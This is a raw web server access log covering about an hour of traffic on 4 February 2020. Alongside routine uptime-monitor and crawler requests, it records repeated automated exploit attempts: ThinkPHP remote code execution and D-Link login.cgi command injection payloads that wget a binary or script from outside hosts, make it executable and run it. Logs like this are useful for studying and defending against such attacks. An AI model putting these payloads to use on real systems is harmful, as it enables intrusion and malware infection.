2.135.4.75 - - [04/Feb/2020:08:23:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:08:25:02 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:08:25:03 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
42.119.138.165 - - [04/Feb/2020:08:25:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [04/Feb/2020:08:26:18 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [04/Feb/2020:08:26:30 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [04/Feb/2020:08:26:33 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [04/Feb/2020:08:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [04/Feb/2020:08:26:42 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [04/Feb/2020:08:26:49 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [04/Feb/2020:08:26:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [04/Feb/2020:08:27:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [04/Feb/2020:08:27:15 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [04/Feb/2020:08:27:15 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
183.80.89.244 - - [04/Feb/2020:08:27:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [04/Feb/2020:08:27:45 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [04/Feb/2020:08:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.197.193 - - [04/Feb/2020:08:30:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [04/Feb/2020:08:31:15 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:08:31:25 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:08:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:08:31:44 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
42.113.211.238 - - [04/Feb/2020:08:31:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.93.253.158 - - [04/Feb/2020:08:31:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
91.149.160.10 - - [04/Feb/2020:08:32:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:08:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:08:33:23 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:08:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.44.112 - - [04/Feb/2020:08:33:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
174.126.227.65 - - [04/Feb/2020:08:35:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:08:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.238.29.106 - - [04/Feb/2020:08:37:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.176.138.75 - - [04/Feb/2020:08:38:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:08:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.192.6 - - [04/Feb/2020:08:42:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.170.212 - - [04/Feb/2020:08:43:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.122.183 - - [04/Feb/2020:08:49:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.77.199.108 - - [04/Feb/2020:08:50:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.214.37.76 - - [04/Feb/2020:08:52:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:08:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
156.196.241.50 - - [04/Feb/2020:08:52:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.222.233 - - [04/Feb/2020:08:53:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.59.224.162 - - [04/Feb/2020:08:53:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:08:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.65.44.69 - - [04/Feb/2020:08:55:12 +0100] "GET / HTTP/1.1" 200 1229 "http://www.friedrich-list-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
159.65.44.69 - - [04/Feb/2020:08:55:31 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [04/Feb/2020:08:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.184.92 - - [04/Feb/2020:09:01:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.42.255.242 - - [04/Feb/2020:09:04:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
196.52.43.57 - - [04/Feb/2020:09:04:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:09:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.177.4.132 - - [04/Feb/2020:09:05:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.208.43 - - [04/Feb/2020:09:05:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.56.160 - - [04/Feb/2020:09:05:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.106.8 - - [04/Feb/2020:09:06:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.179.52 - - [04/Feb/2020:09:08:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.155.203.49 - - [04/Feb/2020:09:09:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
159.89.45.46 - - [04/Feb/2020:09:10:00 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
159.89.45.46 - - [04/Feb/2020:09:10:08 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:09:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.142.249.93 - - [04/Feb/2020:09:12:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.43.154 - - [04/Feb/2020:09:15:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.66.165.100 - - [04/Feb/2020:09:15:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [04/Feb/2020:09:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.88.62.41 - - [04/Feb/2020:09:20:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
139.162.106.181 - - [04/Feb/2020:09:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [04/Feb/2020:09:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.81.180 - - [04/Feb/2020:09:22:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.128.113.46 - - [04/Feb/2020:09:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:30 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:30 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:33 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:33 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:09:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.99.216.171 - - [04/Feb/2020:09:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
138.99.216.171 - - [04/Feb/2020:09:24:40 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
138.99.216.171 - - [04/Feb/2020:09:24:40 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:42 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:42 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
